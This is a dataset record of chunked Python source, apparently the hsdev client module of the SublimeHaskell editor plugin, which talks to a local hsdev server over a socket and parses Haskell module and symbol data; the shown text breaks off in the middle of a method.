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[ { "content": "# -*- coding: UTF-8 -*-\n\nimport os\nimport os.path\nimport sys\nimport socket\nimport sublime\nimport sublime_plugin\nimport subprocess\nimport threading\nimport json\nimport time\nimport re\nfrom functools import reduce\n\nif int(sublime.version()) < 3000:\n import symbols\n from sublime_haskell_common import *\nelse:\n import SublimeHaskell.symbols as symbols\n from SublimeHaskell.sublime_haskell_common import *\n\n\n\n# {'x': ['1','2'], 'y': None} ⇒ ['--x', '1', '--x', '2', '--y']\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# 'global-db', 'user-db' or {'package-db':path}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def concat_args(args):\n def cat(x, y):\n (px, ex) = x\n (py, ey) = y\n return (px or py, (ex if px else []) + (ey if py else []))\n return reduce(cat, args, (True, []))[1]", "metadata": "root.concat_args", "header": "['module', '___EOS___']", "index": 22 }, { "content": "def concat_opts(opts):\n def cat(x, y):\n (px, ex) = x\n (py, ey) = y\n v = (ex if px else {}).copy()\n v.update((ey if py else {}).copy())\n return (px or py, v)\n return reduce(cat, opts, (True, {}))[1]", "metadata": "root.concat_opts", "header": "['module', '___EOS___']", "index": 29 }, { "content": "def flatten_opts(opts):\n r = []\n\n def to_opt(x):\n return '--{0}'.format(x)\n\n for k, v in opts.items():\n if v is None:\n r.append(to_opt(k))\n elif type(v) is list:\n for n in v:\n r.extend([to_opt(k), str(n)])\n else:\n r.extend([to_opt(k), str(v)])\n\n return r", "metadata": "root.flatten_opts", "header": "['module', '___EOS___']", "index": 39 }, { "content": "def hsdev_enabled():\n return get_setting_async('enable_hsdev') == True", "metadata": "root.hsdev_enabled", "header": "['module', '___EOS___']", "index": 56 }, { "content": "def hsdev_enable(enable = True):\n set_setting_async('enable_hsdev', enable)", "metadata": "root.hsdev_enable", "header": "['module', '___EOS___']", "index": 59 }, { "content": "def hsdev_version():\n try:\n (exit_code, out, err) = call_and_wait(['hsdev', 'version'])\n if exit_code == 0:\n m = re.match('(?P<major>\\d+)\\.(?P<minor>\\d+)\\.(?P<revision>\\d+)\\.(?P<build>\\d+)', out)\n if m:\n major = int(m.group('major'))\n minor = int(m.group('minor'))\n revision = int(m.group('revision'))\n build = int(m.group('build'))\n return [major, minor, revision, build]\n except FileNotFoundError:\n pass\n return None", "metadata": "root.hsdev_version", "header": "['module', '___EOS___']", "index": 62 }, { "content": "def show_version(ver):\n return '.'.join(map(lambda i: str(i), ver))", "metadata": "root.show_version", "header": "['module', '___EOS___']", "index": 77 }, { "content": "def check_version(ver, minimal = [0, 0, 0, 0], maximal = None):\n if ver is None:\n return False\n if ver < minimal:\n return False\n if maximal and ver >= maximal:\n return False\n return True", "metadata": "root.check_version", "header": "['module', '___EOS___']", "index": 80 }, { "content": "def if_some(x, lst):\n return lst if x is not None else []", "metadata": "root.if_some", "header": "['module', '___EOS___']", "index": 89 }, { "content": "def cabal_path(cabal):\n if not cabal:\n return []\n return [\"--cabal\"] if cabal == 'cabal' else [\"--sandbox={0}\".format(cabal)]", "metadata": "root.cabal_path", "header": "['module', '___EOS___']", "index": 92 }, { "content": "def hsinspect(module = None, file = None, cabal = None, ghc_opts = []):\n cmd = ['hsinspect']\n on_result = lambda s: s\n if module:\n cmd.extend([module])\n on_result = parse_module\n elif file:\n cmd.extend([file])\n on_result = parse_module\n elif cabal:\n cmd.extend([cabal])\n else:\n log('hsinspect must specify module, file or cabal', log_debug)\n return None\n\n for opt in ghc_opts:\n cmd.extend(['-g', opt])\n\n r = call_and_wait_tool(cmd, 'hsinspect', lambda s: json.loads(s), file, None)\n if r:\n if 'error' in r:\n log('hsinspect returns error: {0}'.format(r['error']), log_error)\n else:\n return on_result(r)\n return None", "metadata": "root.hsinspect", "header": "['module', '___EOS___']", "index": 97 }, { "content": "def print_status(s):\n print(s['status'])", "metadata": "root.print_status", "header": "['module', '___EOS___']", "index": 123 }, { "content": "def parse_database(s):\n if not s:\n return None\n if s and 'projects' in s and 'modules' in s:\n return (s['projects'], [parse_module(m) for m in s['modules']])\n return None", "metadata": "root.parse_database", "header": "['module', '___EOS___']", "index": 126 }, { "content": "def parse_decls(s):\n if s is None:\n return None\n return [parse_module_declaration(decl) for decl in s]", "metadata": "root.parse_decls", "header": "['module', '___EOS___']", "index": 133 }, { "content": "def parse_modules_brief(s):\n if s is None:\n return None\n return [parse_module_id(m) for m in s]", "metadata": "root.parse_modules_brief", "header": "['module', '___EOS___']", "index": 138 }, { "content": "def get_value(dc, ks, defval = None):\n if dc is None:\n return defval\n if type(ks) == list:\n cur = dc\n for k in ks:\n cur = cur.get(k)\n if cur is None:\n return defval\n return cur\n else:\n return dc.get(ks, defval)", "metadata": "root.get_value", "header": "['module', '___EOS___']", "index": 143 }, { "content": "def parse_package_db(d, defval = None):\n if type(d) == dict:\n pdb = get_value(d, 'package-db')\n return symbols.PackageDb(package_db = pdb) if pdb else defval\n if d == 'global-db':\n return symbols.PackageDb(global_db = True)\n if d == 'user-db':\n return symbols.PackageDb(user_db = True)\n return defval", "metadata": "root.parse_package_db", "header": "['module', '___EOS___']", "index": 157 }, { "content": "def parse_position(d):\n if not d:\n return None\n line = get_value(d, 'line')\n column = get_value(d, 'column')\n if line is not None and column is not None:\n return symbols.Position(line, column)\n return None", "metadata": "root.parse_position", "header": "['module', '___EOS___']", "index": 167 }, { "content": "def parse_location(d):\n loc = symbols.Location(\n get_value(d, 'file'),\n get_value(d, 'project'))\n if not loc.is_null():\n return loc\n loc = symbols.InstalledLocation(\n symbols.parse_package(get_value(d, 'package')),\n parse_package_db(get_value(d, 'db')))\n if not loc.is_null():\n return loc\n loc = symbols.OtherLocation(\n get_value(d, 'source'))\n if not loc.is_null():\n return loc\n return None", "metadata": "root.parse_location", "header": "['module', '___EOS___']", "index": 176 }, { "content": "def parse_import(d):\n if not d:\n return None\n return symbols.Import(d['name'], d['qualified'], d.get('as'), parse_position(d.get('pos')))", "metadata": "root.parse_import", "header": "['module', '___EOS___']", "index": 193 }, { "content": "def parse_module_id(d):\n if d is None:\n return None\n return symbols.Module(\n d['name'],\n [], [], {},\n parse_location(d.get('location')))", "metadata": "root.parse_module_id", "header": "['module', '___EOS___']", "index": 198 }, { "content": "def parse_declaration(decl):\n try:\n what = decl['decl']['what']\n docs = crlf2lf(decl.get('docs'))\n name = decl['name']\n pos = parse_position(decl.get('pos'))\n imported = []\n if 'imported' in decl and decl['imported']:\n imported = [parse_import(d) for d in decl['imported']]\n defined = None\n if 'defined' in decl and decl['defined']:\n defined = parse_module_id(decl['defined'])\n\n if what == 'function':\n return symbols.Function(name, decl['decl'].get('type'), docs, imported, defined, pos)\n elif what == 'type':\n return symbols.Type(name, decl['decl']['info'].get('ctx'), decl['decl']['info'].get('args', []), decl['decl']['info'].get('def'), docs, imported, defined, pos)\n elif what == 'newtype':\n return symbols.Newtype(name, decl['decl']['info'].get('ctx'), decl['decl']['info'].get('args', []), decl['decl']['info'].get('def'), docs, imported, defined, pos)\n elif what == 'data':\n return symbols.Data(name, decl['decl']['info'].get('ctx'), decl['decl']['info'].get('args', []), decl['decl']['info'].get('def'), docs, imported, defined, pos)\n elif what == 'class':\n return symbols.Class(name, decl['decl']['info'].get('ctx'), decl['decl']['info'].get('args', []), decl['decl']['info'].get('def'), docs, imported, defined, pos)\n else:\n return None\n except Exception as e:\n log('Error pasring declaration: {0}'.format(e), log_error)\n return None", "metadata": "root.parse_declaration", "header": "['module', '___EOS___']", "index": 206 }, { "content": "def parse_declarations(decls):\n if decls is None:\n return None\n return [parse_declaration(d) for d in decls]", "metadata": "root.parse_declarations", "header": "['module', '___EOS___']", "index": 235 }, { "content": "def parse_module_declaration(d, parse_module_info = True):\n try:\n m = None\n if 'module-id' in d and parse_module_info:\n m = parse_module_id(d['module-id'])\n\n loc = parse_location(d['module-id'].get('location'))\n decl = parse_declaration(d['declaration'])\n\n if not decl:\n return None\n\n decl.module = m\n\n return decl\n except:\n return None", "metadata": "root.parse_module_declaration", "header": "['module', '___EOS___']", "index": 240 }, { "content": "def parse_module(d):\n if d is None:\n return None\n return symbols.Module(\n d['name'],\n d.get('exports'),\n [parse_import(i) for i in d['imports']] if 'imports' in d else [],\n dict((decl['name'],parse_declaration(decl)) for decl in d['declarations']) if 'declarations' in d else {},\n parse_location(d.get('location')))", "metadata": "root.parse_module", "header": "['module', '___EOS___']", "index": 258 }, { "content": "def parse_modules(ds):\n if ds is None:\n return None\n return [parse_module(d) for d in ds]", "metadata": "root.parse_modules", "header": "['module', '___EOS___']", "index": 268 }, { "content": "def parse_cabal_package(d):\n if d is None:\n return None\n return symbols.CabalPackage(\n d['name'],\n d.get('synopsis'),\n d.get('default-version'),\n d.get('installed-versions'),\n d.get('homepage'),\n d.get('license'))", "metadata": "root.parse_cabal_package", "header": "['module', '___EOS___']", "index": 273 }, { "content": "def parse_corrections(d):\n if d is None:\n return None\n return [parse_correction(c) for c in d]", "metadata": "root.parse_corrections", "header": "['module', '___EOS___']", "index": 284 }, { "content": "def parse_correction(d):\n return symbols.Correction(\n d['source']['file'],\n d['level'],\n d['note']['message'],\n parse_corrector(d['note']['corrector']))", "metadata": "root.parse_correction", "header": "['module', '___EOS___']", "index": 289 }, { "content": "def parse_corrector(d):\n return symbols.Corrector(\n parse_position(d['region']['from']),\n parse_position(d['region']['to']),\n d['contents'])", "metadata": "root.parse_corrector", "header": "['module', '___EOS___']", "index": 296 }, { "content": "def encode_corrections(cs):\n return [encode_correction(c) for c in cs]", "metadata": "root.encode_corrections", "header": "['module', '___EOS___']", "index": 302 }, { "content": "def encode_correction(c):\n return {\n 'source': {\n 'project': None,\n 'file': c.file },\n 'level': c.level,\n 'note': {\n 'corrector': encode_corrector(c.corrector),\n 'message': c.message },\n 'region': {\n 'from': encode_position(c.corrector.start.from_zero_based()),\n 'to': encode_position(c.corrector.end.from_zero_based()) }\n }", "metadata": "root.encode_correction", "header": "['module', '___EOS___']", "index": 305 }, { "content": "def encode_corrector(c):\n return {\n 'region': {\n 'from': encode_position(c.start),\n 'to': encode_position(c.end) },\n 'contents': c.contents }", "metadata": "root.encode_corrector", "header": "['module', '___EOS___']", "index": 319 }, { "content": "def encode_position(p):\n return {\n 'line': p.line,\n 'column': p.column }", "metadata": "root.encode_position", "header": "['module', '___EOS___']", "index": 326 }, { "content": "def encode_package_db(db):\n if db.user_db:\n return 'user-db'\n if db.global_db:\n return 'global-db'\n if db.package_db:\n return {'package-db': db.package_db}\n return None", "metadata": "root.encode_package_db", "header": "['module', '___EOS___']", "index": 331 }, { "content": "def reconnect_function(fn):\n def wrapped(self, *args, **kwargs):\n autoconnect_ = kwargs.pop('autoconnect', False)\n on_reconnect_ = kwargs.pop('on_reconnect', None)\n just_connect_ = kwargs.pop('just_connect', False)\n def run_fn():\n if not just_connect_:\n self.autoconnect = autoconnect_\n self.on_reconnect = on_reconnect_\n return fn(self, *args, **kwargs)\n if not just_connect_:\n self.set_reconnect_function(run_fn)\n return run_fn()\n return wrapped", "metadata": "root.reconnect_function", "header": "['module', '___EOS___']", "index": 340 }, { "content": "class begin_connecting(object):\n\n", "metadata": "root.begin_connecting", "header": "['module', '___EOS___']", "index": 355 }, { "content": " def __init__(self, agent):\n self.agent = agent", "metadata": "root.begin_connecting.__init__", "header": "['class', 'begin_connecting', '(', 'object', ')', ':', '___EOS___']", "index": 356 }, { "content": " def __enter__(self):\n self.agent.set_connecting()\n return self", "metadata": "root.begin_connecting.__enter__", "header": "['class', 'begin_connecting', '(', 'object', ')', ':', '___EOS___']", "index": 359 }, { "content": " def __exit__(self, type, value, traceback):\n if type:\n self.agent.set_unconnected()\n else:\n if self.agent.is_connecting():\n self.agent.set_unconnected()", "metadata": "root.begin_connecting.__exit__", "header": "['class', 'begin_connecting', '(', 'object', ')', ':', '___EOS___']", "index": 363 }, { "content": "def connect_function(fn):\n def wrapped(self, *args, **kwargs):\n if self.is_unconnected():\n with begin_connecting(self):\n return fn(self, *args, **kwargs)\n else:\n log('hsdev already connected', log_warning)\n return wrapped", "metadata": "root.connect_function", "header": "['module', '___EOS___']", "index": 370 }, { "content": "def hsdev_command(async = False, timeout = None, is_list = False):\n def wrap_function(fn):\n def wrapped(self, *args, **kwargs):\n wait_flag = kwargs.pop('wait', not async)\n timeout_arg = kwargs.pop('timeout', timeout)\n on_resp = kwargs.pop('on_response', None)\n on_not = kwargs.pop('on_notify', None)\n on_err = kwargs.pop('on_error', None)\n on_res_part = kwargs.pop('on_result_part', None)\n split_res = kwargs.pop('split_result', on_res_part is not None)\n\n (name_, opts_, on_result_) = fn(self, *args, **kwargs)\n\n if is_list and split_res:\n result = []\n def on_notify(n):\n if 'result-part' in n:\n rp = on_result_([n['result-part']])[0]\n call_callback(on_res_part, rp)\n result.append(rp)\n else:\n call_callback(on_not, n)\n def on_response(r):\n on_resp(result)\n\n opts_.update({'split-result': None}) # FIXME: Is this option still used?\n r = self.call(\n name_,\n opts_,\n on_response = on_response if on_resp else None,\n on_notify = on_notify,\n on_error = on_err,\n wait = wait_flag,\n timeout = timeout_arg)\n if wait_flag:\n return result\n return r\n\n else:\n def on_response(r):\n on_resp(on_result_(r))\n r = self.call(\n name_,\n opts_,\n on_response = on_response if on_resp else None,\n on_notify = on_not,\n on_error = on_err,\n wait = wait_flag,\n timeout = timeout_arg)\n if wait_flag:\n return on_result_(r)\n return r\n return wrapped\n return wrap_function", "metadata": "root.hsdev_command", "header": "['module', '___EOS___']", "index": 379 }, { "content": "def command(fn):\n return hsdev_command(async = False, timeout = 1)(fn)", "metadata": "root.command", "header": "['module', '___EOS___']", "index": 434 }, { "content": "def async_command(fn):\n return hsdev_command(async = True)(fn)", "metadata": "root.async_command", "header": "['module', '___EOS___']", "index": 437 }, { "content": "def list_command(fn):\n return hsdev_command(async = False, timeout = 1, is_list = True)(fn)", "metadata": "root.list_command", "header": "['module', '___EOS___']", "index": 440 }, { "content": "def async_list_command(fn):\n return hsdev_command(async = True, is_list = True)(fn)", "metadata": "root.async_list_command", "header": "['module', '___EOS___']", "index": 443 }, { "content": "def cmd(name_, opts_ = {}, on_result = lambda r: r):\n return (name_, opts_, on_result)", "metadata": "root.cmd", "header": "['module', '___EOS___']", "index": 446 }, { "content": "def call_callback(fn, *args, **kwargs):\n name = kwargs.get('name')\n if name:\n del kwargs['name']\n try:\n if fn is not None:\n fn(*args, **kwargs)\n except Exception as e:\n log(\"callback '{0}' throws exception: {1}\".format(name or '<unnamed>', e))", "metadata": "root.call_callback", "header": "['module', '___EOS___']", "index": 449 }, { "content": "def format_error_details(ds):\n return ', '.join(['{}: {}'.format(k, v) for k, v in ds.items()])", "metadata": "root.format_error_details", "header": "['module', '___EOS___']", "index": 459 }, { "content": "class HsDevCallbacks(object):\n\n\n\n\n", "metadata": "root.HsDevCallbacks", "header": "['module', '___EOS___']", "index": 462 }, { "content": " def __init__(self, id, command, on_response = None, on_notify = None, on_error = None):\n self.id = id\n self.command = command\n self.start_time = time.clock()\n self.on_response = on_response\n self.on_notify = on_notify\n self.on_error = on_error", "metadata": "root.HsDevCallbacks.__init__", "header": "['class', 'HsDevCallbacks', '(', 'object', ')', ':', '___EOS___']", "index": 463 }, { "content": " def time(self):\n return time.clock() - self.start_time if self.start_time is not None else None", "metadata": "root.HsDevCallbacks.time", "header": "['class', 'HsDevCallbacks', '(', 'object', ')', ':', '___EOS___']", "index": 471 }, { "content": " def log_time(self):\n log('{0}: {1} seconds'.format(self.command, self.time()), log_trace)", "metadata": "root.HsDevCallbacks.log_time", "header": "['class', 'HsDevCallbacks', '(', 'object', ')', ':', '___EOS___']", "index": 474 }, { "content": " def call_response(self, r):\n self.log_time()\n call_callback(self.on_response, r)", "metadata": "root.HsDevCallbacks.call_response", "header": "['class', 'HsDevCallbacks', '(', 'object', ')', ':', '___EOS___']", "index": 477 }, { "content": " def call_notify(self, n):\n call_callback(self.on_notify, n)", "metadata": "root.HsDevCallbacks.call_notify", "header": "['class', 'HsDevCallbacks', '(', 'object', ')', ':', '___EOS___']", "index": 481 }, { "content": " def call_error(self, e, ds):\n self.log_time()\n log('{0} returns error: {1}, {2}'.format(self.command, e, format_error_details(ds)), log_error)\n call_callback(self.on_error, e, ds)", "metadata": "root.HsDevCallbacks.call_error", "header": "['class', 'HsDevCallbacks', '(', 'object', ')', ':', '___EOS___']", "index": 484 }, { "content": "class HsDev(object):\n\n\n # Autoconnect\n\n\n # Util\n\n\n\n # Static creators\n\n\n\n # Socket functions\n\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n # Commands\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.HsDev", "header": "['module', '___EOS___']", "index": 490 }, { "content": " def __init__(self, port = 4567):\n self.port = port\n self.connecting = threading.Event()\n self.connected = threading.Event()\n self.socket = None\n self.listener = None\n self.hsdev_address = None\n self.autoconnect = True\n self.map = LockedObject({})\n self.id = 1\n\n self.connect_fun = None\n\n self.part = ''\n\n self.on_connected = None\n self.on_disconnected = None\n self.on_reconnect = None", "metadata": "root.HsDev.__init__", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 491 }, { "content": " def __del__(self):\n self.close()", "metadata": "root.HsDev.__del__", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 510 }, { "content": " def set_reconnect_function(self, f):\n if self.connect_fun is None:\n self.connect_fun = f", "metadata": "root.HsDev.set_reconnect_function", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 514 }, { "content": " def reconnect(self):\n if self.connect_fun is not None:\n log('Reconnecting to hsdev...', log_info)\n call_callback(self.on_reconnect, name = 'HsDev.on_reconnect')\n self.connect_fun()\n else:\n log('No reconnect function')", "metadata": "root.HsDev.reconnect", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 518 }, { "content": " @staticmethod\n def run_server(port = 4567, cache = None, log_file = None, log_config = None):\n cmd = concat_args([\n (True, [\"hsdev\", \"run\"]),\n (port, [\"--port\", str(port)]),\n (cache, [\"--cache\", cache]),\n (log_file, [\"--log\", log_file]),\n (log_config, [\"--log-config\", log_config])])\n\n log('Starting hsdev server', log_info)\n p = call_and_wait(cmd, wait = False)\n if not p:\n log('Failed creating hsdev process', log_error)\n return None\n while True:\n output = crlf2lf(decode_bytes(p.stdout.readline()))\n m = re.match(r'^.*?hsdev> Server started at port (?P<port>\\d+)$', output)\n if m:\n log('hsdev server started at port {0}'.format(m.group('port')))\n p.stdout.close()\n p.stderr.close()\n return p", "metadata": "root.HsDev.run_server", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 528 }, { "content": " @staticmethod\n def start_server(port = 4567, cache = None, log_file = None, log_config = None):\n cmd = concat_args([\n (True, [\"hsdev\", \"start\"]),\n (port, [\"--port\", str(port)]),\n (cache, [\"--cache\", cache]),\n (log_file, [\"--log\", log_file]),\n (log_config, [\"--log-config\", log_config])])\n\n def parse_response(s):\n try:\n return {} if s.isspace() else json.loads(s)\n except Exception as e:\n return {'error': 'Invalid response', 'details': s}\n\n log('Starting hsdev server', log_info)\n\n ret = call_and_wait_tool(cmd, 'hsdev', '', None, None, None, check_enabled = False)\n if ret is not None:\n return ret\n return None", "metadata": "root.HsDev.start_server", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 551 }, { "content": " @staticmethod\n def client(port = 4567, cache = None, autoconnect = False):\n start_server(port = port, cache = cache)\n h = HsDev(port = port)\n h.connect(autoconnect = autoconnect)\n return h", "metadata": "root.HsDev.client", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 575 }, { "content": " @staticmethod\n def client_async(port = 4567, cache = None, autoconnect = False):\n start_server(port = port, cache = cache)\n h = HsDev(port = port)\n h.connect_async(autoconnect = autoconnect)\n return h", "metadata": "root.HsDev.client_async", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 582 }, { "content": " @connect_function\n @reconnect_function\n def connect(self, tries = 10, delay = 1.0):\n self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n for n in range(0, tries):\n try:\n log('connecting to hsdev server ({0})...'.format(n), log_info)\n self.socket.connect(('127.0.0.1', self.port))\n self.hsdev_socket = self.socket\n self.hsdev_address = '127.0.0.1'\n self.set_connected()\n self.listener = threading.Thread(target = self.listen)\n self.listener.start()\n log('connected to hsdev server', log_info)\n call_callback(self.on_connected, name = 'HsDev.on_connected')\n return True\n except Exception as e:\n log('failed to connect to hsdev server ({0})'.format(n), log_warning)\n time.sleep(delay)\n\n return False", "metadata": "root.HsDev.connect", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 591 }, { "content": " @reconnect_function\n def connect_async(self, tries = 10, delay = 1.0):\n thread = threading.Thread(\n target = self.connect,\n kwargs = { 'tries' : tries, 'delay': delay, 'just_connect' : True })\n thread.start()", "metadata": "root.HsDev.connect_async", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 614 }, { "content": " def wait(self, timeout = None):\n return self.connected.wait(timeout)", "metadata": "root.HsDev.wait", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 621 }, { "content": " def close(self):\n if self.is_unconnected():\n return\n self.connected.clear()\n if self.hsdev_socket:\n self.hsdev_socket.close()\n self.hsdev_socket = None\n self.socket.close()", "metadata": "root.HsDev.close", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 624 }, { "content": " def is_connecting(self):\n return self.connecting.is_set()", "metadata": "root.HsDev.is_connecting", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 633 }, { "content": " def is_connected(self):\n return self.connected.is_set()", "metadata": "root.HsDev.is_connected", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 636 }, { "content": " def is_unconnected(self):\n return (not self.is_connecting()) and (not self.is_connected())", "metadata": "root.HsDev.is_unconnected", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 639 }, { "content": " def set_unconnected(self):\n if self.connecting.is_set():\n self.connecting.clear()\n if self.connected.is_set():\n self.connected.clear()", "metadata": "root.HsDev.set_unconnected", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 642 }, { "content": " def set_connecting(self):\n self.set_unconnected()\n self.connecting.set()", "metadata": "root.HsDev.set_connecting", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 648 }, { "content": " def set_connected(self):\n if self.is_connecting():\n self.connected.set()\n self.connecting.clear()\n else:\n log('HsDev.set_connected called while not in connecting state', log_debug)", "metadata": "root.HsDev.set_connected", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 652 }, { "content": " def on_receive(self, id, command, on_response = None, on_notify = None, on_error = None):\n with self.map as m:\n m[id] = HsDevCallbacks(id, command, on_response, on_notify, on_error)", "metadata": "root.HsDev.on_receive", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 659 }, { "content": " def verify_connected(self):\n if self.is_connected():\n return True\n else:\n self.connection_lost('verify_connected', 'no connection')\n return self.is_connected()", "metadata": "root.HsDev.verify_connected", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 663 }, { "content": " def connection_lost(self, fn, e):\n if self.is_unconnected():\n return\n self.close()\n log('{0}: connection to hsdev lost: {1}'.format(fn, e), log_error)\n call_callback(self.on_disconnected, name = 'HsDev.on_disconnected')\n\n # send error to callbacks\n with self.map as m:\n for on_msg in m.values():\n on_msg.on_error('connection lost')\n m.clear()\n\n self.id = 1\n self.part = ''\n\n if self.autoconnect:\n self.reconnect()", "metadata": "root.HsDev.connection_lost", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 670 }, { "content": " def call(self, command, opts = {}, on_response = None, on_notify = None, on_error = None, wait = False, timeout = None, id = None):\n # log\n args_cmd = 'hsdev {0}'.format(command)\n call_cmd = 'hsdev {0} with {1}'.format(command, opts)\n\n if not self.verify_connected():\n return None if wait else False\n\n try:\n wait_receive = threading.Event() if wait else None\n\n x = {}\n\n def on_response_(r):\n x['result'] = r\n call_callback(on_response, r)\n if wait_receive:\n wait_receive.set()\n\n def on_error_(e, ds):\n call_callback(on_error, e, ds)\n if wait_receive:\n wait_receive.set()\n\n if wait or on_response or on_notify or on_error:\n if id is None:\n id = str(self.id)\n self.id = self.id + 1\n self.on_receive(id, args_cmd, on_response_, on_notify, on_error_)\n\n opts.update({'no-file': True})\n opts.update({'id': id, 'command': command})\n msg = json.dumps(opts, separators = (',', ':'))\n\n # Seems, that first sendall doesn't throw error on closed socket\n # So we just call it twice\n # It's hackish, but I haven't found easy solution\n self.hsdev_socket.sendall(msg.encode('utf-8'))\n self.hsdev_socket.sendall('\\n'.encode('utf-8'))\n log(call_cmd, log_trace)\n\n if wait:\n wait_receive.wait(timeout)\n return x.get('result')\n\n return True\n except Exception as e:\n log('{0} fails with exception: {1}'.format(call_cmd, e), log_error)\n self.connection_lost('call', e)\n return False", "metadata": "root.HsDev.call", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 689 }, { "content": " def listen(self):\n while self.verify_connected():\n try:\n resp = json.loads(self.get_response())\n if 'id' in resp:\n callbacks = None\n with self.map as m:\n if resp['id'] in m:\n callbacks = m[resp['id']]\n if callbacks:\n if 'notify' in resp:\n callbacks.call_notify(resp['notify'])\n if 'error' in resp:\n err = resp.pop(\"error\")\n callbacks.call_error(err, resp)\n with self.map as m:\n m.pop(resp['id'])\n if 'result' in resp:\n callbacks.call_response(resp['result'])\n with self.map as m:\n m.pop(resp['id'])\n except Exception as e:\n self.connection_lost('listen', e)\n return", "metadata": "root.HsDev.listen", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 740 }, { "content": " def get_response(self):\n while not '\\n' in self.part:\n self.part = self.part + self.socket.recv(65536).decode('utf-8')\n (r, _, post) = self.part.partition('\\n')\n self.part = post\n return r", "metadata": "root.HsDev.get_response", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 765 }, { "content": " @command\n def link(self, hold = False, **kwargs):\n return cmd('link', {\n 'hold': hold })", "metadata": "root.HsDev.link", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 774 }, { "content": " @command\n def ping(self):\n return cmd('ping', {}, lambda r: r and ('message' in r) and (r['message'] == 'pong'))", "metadata": "root.HsDev.ping", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 779 }, { "content": " @async_command\n def scan(self, cabal = False, sandboxes = [], projects = [], files = [], paths = [], ghc = [], contents = {}, docs = False, infer = False):\n return cmd('scan', {\n 'projects': projects,\n 'cabal': cabal,\n 'sandboxes': sandboxes,\n 'files': files,\n 'paths': paths,\n 'contents': [{'file': f, 'contents': cts} for f, cts in contents.items()],\n 'ghc-opts': ghc,\n 'docs': docs,\n 'infer': infer })", "metadata": "root.HsDev.scan", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 783 }, { "content": " @async_command\n def docs(self, projects = [], files = [], modules = []):\n return cmd('docs', {\n 'projects': projects,\n 'files': files,\n 'modules': modules })", "metadata": "root.HsDev.docs", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 796 }, { "content": " @async_command\n def infer(self, projects = [], files = [], modules = []):\n return cmd('infer', {\n 'projects': projects,\n 'files': files,\n 'modules': modules })", "metadata": "root.HsDev.infer", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 803 }, { "content": " @async_list_command\n def remove(self, cabal = False, sandboxes = [], projects = [], files = [], packages = []):\n return cmd('remove', {\n 'projects': projects,\n 'cabal': cabal,\n 'sandboxes': sandboxes,\n 'files': files,\n 'packages': packages })", "metadata": "root.HsDev.remove", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 810 }, { "content": " @command\n def remove_all(self):\n return cmd('remove-all', {})", "metadata": "root.HsDev.remove_all", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 819 }, { "content": " @list_command\n def list_modules(self, project = None, file = None, module = None, deps = None, sandbox = None, cabal = False, db = None, package = None, source = False, standalone = False):\n fs = []\n if project:\n fs.append({'project': project})\n if file:\n fs.append({'file': file})\n if module:\n fs.append({'module': module})\n if deps:\n fs.append({'deps': deps})\n if sandbox:\n fs.append({'cabal':{'sandbox': sandbox}})\n if cabal:\n fs.append({'cabal':'cabal'})\n if db:\n fs.append({'db': encode_package_db(db)})\n if package:\n fs.append({'package': package})\n if source:\n fs.append('sourced')\n if standalone:\n fs.append('standalone')\n\n return cmd('modules', {'filters': fs}, parse_modules_brief)", "metadata": "root.HsDev.list_modules", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 823 }, { "content": " @list_command\n def list_packages(self):\n return cmd('packages', {})", "metadata": "root.HsDev.list_packages", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 849 }, { "content": " @list_command\n def list_projects(self):\n return cmd('projects', {})", "metadata": "root.HsDev.list_projects", "header": "['class', 'HsDev', '(', 'object', ')', ':', '___EOS___']", "index": 853 }, { "content": " @list_command\n def symbol(self, input = \"\", search_type = 'prefix', project = None, file = None, module = None, deps = None, sandbox = None, cabal = False, db = None, package = None, source = False, standalone = False, locals = False):\n # search_type is one of: exact, prefix, infix, suffix, regex\n q = {'input': input, 'type': search_type}\n\n fs = 